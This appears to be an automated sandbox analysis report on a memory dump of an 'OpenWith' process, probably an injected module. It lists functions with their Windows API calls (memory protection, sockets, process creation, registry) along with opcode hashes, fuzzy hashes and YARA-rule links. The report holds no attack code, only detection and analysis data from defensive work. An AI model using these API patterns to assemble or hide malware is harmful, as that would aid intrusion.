Opcode ID: 6f37d373b2b3a49eb537120db6fc8aad4c7c2cfb025e78fae260042e5601366e
Instruction ID: 15ad9f697e7f5a5a50f645c35686307db6422ebb5ef2cd23f543a6c9dafc1af3
Opcode Fuzzy Hash: 6f37d373b2b3a49eb537120db6fc8aad4c7c2cfb025e78fae260042e5601366e
Instruction Fuzzy Hash: 8D61523051CA884FDB59EB18D8869ABB7E1FF94311F50492EE08FC3191DE34E8458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE131C Relevance: 3.1, APIs: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EE13AB
_malloc_dbg.MSVCRT ref: 00007DF486EE13EA

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: de4e33abc2b85d707b14ce31c2985da81c8d9c2e164d1120f04ddc1fc4c9d720
Instruction ID: ede7aa6d84658c310d711ee9ca31b1ce34e490f58d4622e7c974e926e44a9b5c
Opcode Fuzzy Hash: de4e33abc2b85d707b14ce31c2985da81c8d9c2e164d1120f04ddc1fc4c9d720
Instruction Fuzzy Hash: FF415A30608E0E8FDB94EF68D888AA5B7E1FB68311751466BD41AC3665DB34EC818BC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EDB2B8 Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF486EE8AFC: NtAcceptConnectPort.NTDLL ref: 00007DF486EE8B0C

_malloc_dbg.MSVCRT ref: 00007DF486EDB366
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EDB3ED

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@AcceptConnectPort_malloc_dbg
String ID:
API String ID: 1485176176-0
Opcode ID: 4ecf2b624d510c0b9105c9875737021730bb05f6acc8958d51b1f99a9df8c032
Instruction ID: 04d405a4f34dd9d75654a31006a30b875063950b1f61d7732b6a3f0c62e4c008
Opcode Fuzzy Hash: 4ecf2b624d510c0b9105c9875737021730bb05f6acc8958d51b1f99a9df8c032
Instruction Fuzzy Hash: CA416570508B488FDB58EF19D4856AA77E0FB58311F40456FE84EC7292EF74E885CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED4DFC Relevance: 3.1, APIs: 2, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007DF486ED4E42
VirtualProtect.KERNELBASE ref: 00007DF486ED4EBD

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: d1d5d62458b525b217cd191320538f3c548a21db8f8a8dd998a7d78b892a2355
Instruction ID: a1d580a831416874c3720235935979b4dc7ff8cf24ef86061cf47a4186116d02
Opcode Fuzzy Hash: d1d5d62458b525b217cd191320538f3c548a21db8f8a8dd998a7d78b892a2355
Instruction Fuzzy Hash: 66217131618E498BDB98EB1CD891FE6B3E5FB98311F40452AE54FC3681DE38E9458782

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486FB802C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486FB80C1
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486FB80CC

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 472e16019ba601094a4c2923f039f601fa415deb3ae2891c44a4e6fa2e872d25
Instruction ID: e622a3ff1d52cdca4deb77be27b0cdbd456f991b303b53ce2afe7e0d2f78dc4a
Opcode Fuzzy Hash: 472e16019ba601094a4c2923f039f601fa415deb3ae2891c44a4e6fa2e872d25
Instruction Fuzzy Hash: C6215130A0981C4FDFD4EB1CC0C4D5A77A5EFC83A1BA512A2D92BCB199E525EC80C780

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB719A0 Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlRemoveVectoredExceptionHandler.NTDLL ref: 000002427BB719AD
VirtualFree.KERNELBASE ref: 000002427BB719E5

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID: ExceptionFreeHandlerRemoveVectoredVirtual
String ID:
API String ID: 3082376348-0
Opcode ID: 68a2bebb63dec11ebeb4fbf40c1c95563ebbd08489d40e2effbc7ec76ba53b27
Instruction ID: 722b7a72dfc02ad143cfe33afa42af661aaf2c8d9b5c4a6fda1a8a67407eabf7
Opcode Fuzzy Hash: 68a2bebb63dec11ebeb4fbf40c1c95563ebbd08489d40e2effbc7ec76ba53b27
Instruction Fuzzy Hash: 57F03031214A09CFDF9CEF95C4D5FA137A4EB28301F44017ADC0ACB156DA21D985C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486FA1D6C Relevance: 1.9, APIs: 1, Instructions: 401COMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT ref: 00007DF486FA1E57

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _calloc_dbg
String ID:
API String ID: 1170608187-0
Opcode ID: abeff535319608a36932633bf7e230fa4690ffc4ae3c2294e127335d9ebc7ded
Instruction ID: 67289785f90e4ff9b907a963aa08c896688553880e2f973578c2819928923b73
Opcode Fuzzy Hash: abeff535319608a36932633bf7e230fa4690ffc4ae3c2294e127335d9ebc7ded
Instruction Fuzzy Hash: B4B12D31A1CA4C4FD7A8EA1C84856EA73E5EF94325F90462FD58FC3182F929EC864681

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE2E34 Relevance: 1.7, APIs: 1, Instructions: 245registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32 ref: 00007DF486EE3055

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: d8340601590ed8b71669f7c6d40f22125e0dc7ab3cfec3bbe45ed9527f2fef5b
Instruction ID: 3fcefdebafc1fb1344813be8b66adc926bce3a830a9096edec98111ea1ffe2ac
Opcode Fuzzy Hash: d8340601590ed8b71669f7c6d40f22125e0dc7ab3cfec3bbe45ed9527f2fef5b
Instruction Fuzzy Hash: C691C13151CB488FE7A4EF25C489BABB7E1FB98311F50492EE48AC3260DB34D545CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F11F58 Relevance: 1.7, APIs: 1, Instructions: 227networkCOMMON

Download Yara Rule

APIs

WSASend.WS2_32 ref: 00007DF486F1200F

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: e6bbb75cfcada6243a44a272e57bf7ceaccf3902ad7b4c735c76777bdf036997
Instruction ID: e3ff2449ba79aaac526d8d05fd9d5b29e12299306ba1d567b74ba7d9dcc7f81c
Opcode Fuzzy Hash: e6bbb75cfcada6243a44a272e57bf7ceaccf3902ad7b4c735c76777bdf036997
Instruction Fuzzy Hash: 3B819170508A498FEB98DF68C485B66B7E0FF54364F50426AD90FC7691FB35E890CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED41D8 Relevance: 1.7, APIs: 1, Instructions: 203COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE ref: 00007DF486ED4395

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 7301991a55ae90a18fd8a2167234c9b178d7ebdeea410f897018aea7b1691faa
Instruction ID: 225b0e65a4987e9792f1f2dca60fa8e72accfeb88af1096515fb97d9a0021208
Opcode Fuzzy Hash: 7301991a55ae90a18fd8a2167234c9b178d7ebdeea410f897018aea7b1691faa
Instruction Fuzzy Hash: 36613E7151C6888BD7A5EF68D8956EBB7E1FB94310F404A2EE08FC3151DF35A944CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEB498 Relevance: 1.7, APIs: 1, Instructions: 176processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 00007DF486EEB591

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 830ad8bfff6d6a28aaa37f993cf9d2c89b1305a6e603a1f7e06b724cef07ffaf
Instruction ID: 45ac986197d4cbe1771893512671f9d8f7b3eccb4f5f41ff2372b099a4970f73
Opcode Fuzzy Hash: 830ad8bfff6d6a28aaa37f993cf9d2c89b1305a6e603a1f7e06b724cef07ffaf
Instruction Fuzzy Hash: CF514F30A1CB858FE7A4DB58D84577BB7E6FF94320F40052EE58BC3291DA78E9058B52

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F11950 Relevance: 1.7, APIs: 1, Instructions: 167networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32 ref: 00007DF486F119EF

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Recv
String ID:
API String ID: 4192927123-0
Opcode ID: 6b887d4ee2da175949f8e81a0e65e3d063e47abc8ee875f5d1071da8520f6cd7
Instruction ID: bc82686804a13aec7ef26e577beb7c6e12c051eabbf1636f3d8cf83627485bb1
Opcode Fuzzy Hash: 6b887d4ee2da175949f8e81a0e65e3d063e47abc8ee875f5d1071da8520f6cd7
Instruction Fuzzy Hash: 94512970608A898FEBA5DF28D488B9677F0FF54364F90066AE54FC3551EB39E844CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED6478 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF486ED4EE8: VirtualProtect.KERNELBASE ref: 00007DF486ED4F48
Part of subcall function 00007DF486ED4EE8: VirtualProtect.KERNELBASE ref: 00007DF486ED4F71
Part of subcall function 00007DF486ED4EE8: VirtualProtect.KERNELBASE ref: 00007DF486ED4F8D
Part of subcall function 00007DF486ED4EE8: VirtualProtect.KERNELBASE ref: 00007DF486ED4FB8

TlsFree.KERNELBASE(?,?,?,?,?,?,?,00000000,?,?,00000000,00007DF486ED220C), ref: 00007DF486ED65B3

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual$Free
String ID:
API String ID: 3841229516-0
Opcode ID: 5a5076ee5687eff1dc103e3f39fba0ea38ea43aa56cb8851756aaefb7e695dca
Instruction ID: 420ef825402abfa0b55c1a5e0cf2573d2a1237438c0a1445f495a49658ceb66d
Opcode Fuzzy Hash: 5a5076ee5687eff1dc103e3f39fba0ea38ea43aa56cb8851756aaefb7e695dca
Instruction Fuzzy Hash: A041A730618A584FDB94EF2CD4859BA73A1FF55721B40897BE41FC728ADE29FC408B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC3410 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EC34DF

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: cc4326c6841866a6755c31003428b424b06f8f10db791a6fd7561e0a70c8a8fc
Instruction ID: 38af55dc98b7da6dfd0f811cd2990a847d90f892bb7ead4a641dd1b9a7ba26d6
Opcode Fuzzy Hash: cc4326c6841866a6755c31003428b424b06f8f10db791a6fd7561e0a70c8a8fc
Instruction Fuzzy Hash: E3412630A184984BEBACDE2888D507B37F1EF8031275441BBD85BCB18BDA29ED47D790

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F83A40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486F83B53

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 426b98ef857f74157f9223deacf6e962793c726f70fb9e444d3346551f6f0c80
Instruction ID: 6540484d1134febbec74db59f64107f6178101d472b1eb0cd235c4dc1dbcbae3
Opcode Fuzzy Hash: 426b98ef857f74157f9223deacf6e962793c726f70fb9e444d3346551f6f0c80
Instruction Fuzzy Hash: 2E31123171894D4BEED5FB5888957A632A5FF88321F8500B9DA0FCB2A6EF18EC41D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED2110 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF486EC2BD4: RtlAddFunctionTable.KERNEL32 ref: 00007DF486EC2C01

SetErrorMode.KERNELBASE ref: 00007DF486ED21F8

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ErrorFunctionModeTable
String ID:
API String ID: 928017140-0
Opcode ID: 3093e2713d4c83f778b6f58d544e1c428f7102d517b3c9af48ca3ee171aa4d06
Instruction ID: dfae9b32d0b56418bca7d492fe641c7cb604695be9e890db350ae3fb7a25ac21
Opcode Fuzzy Hash: 3093e2713d4c83f778b6f58d544e1c428f7102d517b3c9af48ca3ee171aa4d06
Instruction Fuzzy Hash: FD31A7217185880FEBD4BB5C98839BA32E1EF48330B90057EE61FC71D6D91DED458681

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F12700 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007DF486F12774

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 405079254f4dbac4a13797b27ee38af6170be3b6057a9a13f7f6cbe7f380fdd3
Instruction ID: 95c40cd28d085de6f6bb7929f5ba35ece13bbf0bc991fbd3eef5bddcf78bb4cd
Opcode Fuzzy Hash: 405079254f4dbac4a13797b27ee38af6170be3b6057a9a13f7f6cbe7f380fdd3
Instruction Fuzzy Hash: 70311C70908A498FEBD8DF58C08976277E1FF14365F5042AAD81ACB2E6EB34DC81CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB7185C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 000002427BB7192F

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 04359cd7b97b11c476e8c0617afcaa098c35e265ec660168a6fbd24c0647ca60
Instruction ID: edcac58c6b04d4cfda124e6112e46877e20d7e7f0c10d84f33843eb4c403b867
Opcode Fuzzy Hash: 04359cd7b97b11c476e8c0617afcaa098c35e265ec660168a6fbd24c0647ca60
Instruction Fuzzy Hash: 0431D730100A07CAE7A5976688887E2F7D1EBD43A8F9C11BBAC01D69D1DA71CA4BC760

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE4484 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EE4541

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 3adb1af045a857eedabd1a5fb2c5f83d930a0cc5c4d338f8207a2e6a29b170a8
Instruction ID: 034b5dd56cd2af3267d4febf3723020ce2966f5a358b1b0617986846ccce5fed
Opcode Fuzzy Hash: 3adb1af045a857eedabd1a5fb2c5f83d930a0cc5c4d338f8207a2e6a29b170a8
Instruction Fuzzy Hash: 13213031609A488FDF94EF29D8856AA77E1EF58325F40462AF84FD3151CB38E944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F84A74 Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT(?,?,?,?,-00000008,?,?,00007DF486F84064), ref: 00007DF486F84A8A

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: 56fc084a13f33032e582300513c04614802a6c058b252e4d30efde35e78b489c
Instruction ID: 1a55d035cac1c8e9022b249ded88df23c557657bba0cc0382405e0de42a1649e
Opcode Fuzzy Hash: 56fc084a13f33032e582300513c04614802a6c058b252e4d30efde35e78b489c
Instruction Fuzzy Hash: C42137306149588FEB84EF2CD08CBA077E0FB59355F5441BAE85DCB29ADB7498858B01

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BCD5394 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 000002427BCD53E5

Memory Dump Source

Source File: 00000002.00000003.1803813855.000002427BCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2427bcd0000_OpenWith.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8f0f157fb83daee5cb6c9520c57f82bef06885daf9e14b2ffd789235ee1ccf1c
Instruction ID: 918bf12daa8fa2a2d16abab47091a918798e2becb2f4b7346afe825597afe562
Opcode Fuzzy Hash: 8f0f157fb83daee5cb6c9520c57f82bef06885daf9e14b2ffd789235ee1ccf1c
Instruction Fuzzy Hash: AC018F70610E059FE7689B3AC88C735BBE1FB58316F44462EE56AC3281DB74EC99C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EDB064 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF486EE9AF4: _malloc_dbg.MSVCRT ref: 00007DF486EE9B1A
Part of subcall function 00007DF486EE9AF4: NtAcceptConnectPort.NTDLL ref: 00007DF486EE9BC3

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EDB0C2

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@AcceptConnectPort_malloc_dbg
String ID:
API String ID: 1485176176-0
Opcode ID: 7e0ab1111397d507d7881f8866247adeba30b7f5dcd171a7b7908f5c06eb3e7a
Instruction ID: 88747480fed8a473e0d541252c097308692ec361cdc151732160021ef473da63
Opcode Fuzzy Hash: 7e0ab1111397d507d7881f8866247adeba30b7f5dcd171a7b7908f5c06eb3e7a
Instruction Fuzzy Hash: 73F0C831618D0C4FD798EB1D9C8C5B637D5EBD8721744427AE00BC7264DE69DD458780

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC5330 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT(?,?,?,?,-00000001,?,-00000001,00007DF486EC53BE), ref: 00007DF486EC5375

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: 051b47b6163c57a56397831363f2f208832c5eccc5cbea97d62df897e1ee0233
Instruction ID: a98958a081777bc2632d21330bd3df42d42f7f4010952756ce96f55bf571f506
Opcode Fuzzy Hash: 051b47b6163c57a56397831363f2f208832c5eccc5cbea97d62df897e1ee0233
Instruction Fuzzy Hash: FA018671B14E0A5BE7A89B6DD488736B6E1FBA8322F14457BD409C3285DB78EC91C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE1510 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00007DF486ED63F9), ref: 00007DF486EE1526

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: d40400de8aff203246a65c93b039d135a7c4bde247e9e33ef195e3f9dc3e5471
Instruction ID: 39d67a8f62a19db024216580476f67d67321aab06c6cf0fd7614e3b905126d82
Opcode Fuzzy Hash: d40400de8aff203246a65c93b039d135a7c4bde247e9e33ef195e3f9dc3e5471
Instruction Fuzzy Hash: 00F01770A15E4A8FEBC8EF19D49877577E0FB68319FA0017AD40AC72A0D7799C98C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F1D6EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT(?,?,?,?,00000000,00000000), ref: 00007DF486F1D732

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 477c6fbf3943f877d88929c3287f51d47fe487078bb79bd2b27da6bea03aeec5
Instruction ID: ac6e8fb5e84007f67a0ae8fe75fe2e112705c9e470c99cfc701f461aeb66211f
Opcode Fuzzy Hash: 477c6fbf3943f877d88929c3287f51d47fe487078bb79bd2b27da6bea03aeec5
Instruction Fuzzy Hash: 7BF0E13071A90E8BFF9D6B65A85866933B1EF24316B44103FD907D25A0DF6DD8419B22

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC2178 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 00007DF486EC21BE

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 53ef2cf4c624f8d13d0a6f534f041d9c86cf4983b70d579de2bd58a17e54e5cf
Instruction ID: d326883a284b425b70300e9c34885e0fe3ef957fa34060c206b6fa6c9adbf420
Opcode Fuzzy Hash: 53ef2cf4c624f8d13d0a6f534f041d9c86cf4983b70d579de2bd58a17e54e5cf
Instruction Fuzzy Hash: 57014430A146448FDB90AF6DFC9A53677F1FB88321B84047FE11AC2665CE395984C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC2124 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00007DF486EC2144

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7a3e711983133c84745abeac61ff9bae0bae1902e442caba6f883a349e05e13e
Instruction ID: 2152c99504e75eac38a1ef564ff62510de512c9367b3527dbc85460cf3986c95
Opcode Fuzzy Hash: 7a3e711983133c84745abeac61ff9bae0bae1902e442caba6f883a349e05e13e
Instruction Fuzzy Hash: 80F0E521F1C2488FE7A0EF7E6C8213F21A2DB84332F94453BD20BC2181D93B9D859210

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE3474 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007DF486EE34BF

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 93a4616800550b85056b3bfca5b27a1e2e5fff5011940eb12dbaf61b78639e47
Instruction ID: ff0a0dcb5aea44cb06bf9a17f8351db620eecef5d9d66799a0d334bfef05b86c
Opcode Fuzzy Hash: 93a4616800550b85056b3bfca5b27a1e2e5fff5011940eb12dbaf61b78639e47
Instruction Fuzzy Hash: 31F08C746049048BEB48EF6CC488B6677E2FFA8325F10016AE90EC72E4DB368989C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED1E78 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 00007DF486ED1E9F

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 1f4acfd73e0f869c342452aadbb05759e16190e48826278917dcf2679bb9de65
Instruction ID: 4bebe6658b877056352ee51c6d0bb4e41073dbbc908dba1778e70bcfa900e309
Opcode Fuzzy Hash: 1f4acfd73e0f869c342452aadbb05759e16190e48826278917dcf2679bb9de65
Instruction Fuzzy Hash: A9E0C211B18D090B6BA861AE24CCABB11D6CBDC132744027BE81EC3695EC14CC410390

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC2BD4 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

RtlAddFunctionTable.KERNEL32 ref: 00007DF486EC2C01

Memory Dump Source
